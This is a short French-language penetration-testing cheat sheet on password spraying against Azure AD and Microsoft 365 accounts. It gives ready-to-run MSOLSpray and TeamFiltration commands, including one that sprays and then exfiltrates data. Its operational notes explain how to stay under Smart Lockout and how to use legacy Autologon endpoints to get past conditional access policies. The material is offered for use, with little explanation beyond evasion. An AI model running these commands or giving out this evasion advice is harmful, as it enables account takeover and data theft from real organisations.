Avec une liste d'utilisateurs validée, un spray low-and-slow d'un ou deux mots de passe courants sur de nombreux comptes trouve l'identifiant faible sans verrouiller tout le monde. Le endpoint importe : certains signalent l'état Smart Lockout et MFA, et les endpoints legacy se comportent différemment des modernes.
Pulvérisation#
# MSOLSpray against the Azure AD authentication endpoint; reports MFA/locked/disabled
Invoke-MSOLSpray -UserList users.txt -Password 'Autumn2026!'
# TeamFiltration spray + exfil
teamfiltration --spray --exfil --users users.txt --password 'Autumn2026!'
Notes d'exploitation#
- Tenez-vous-en à un mot de passe par fenêtre de verrouillage sur toute la liste ; Smart Lockout suit les mauvaises tentatives par compte, pas par source.
- MSOLSpray signale les comptes valides-mais-MFA, désactivés ou verrouillés, ce qui trie les résultats pour vous.
- Les endpoints Autologon et autres endpoints d'authentification legacy contournent parfois les politiques d'accès conditionnel cadrées sur l'authentification moderne, de sorte qu'un identifiant qui échoue en interactif peut quand même fonctionner là.
Outils#
- MSOLSpray (dafthack) : spray avec rapport d'état.
- TeamFiltration / o365spray : spray et exfiltration.
- AADInternals : connexion contre plusieurs endpoints.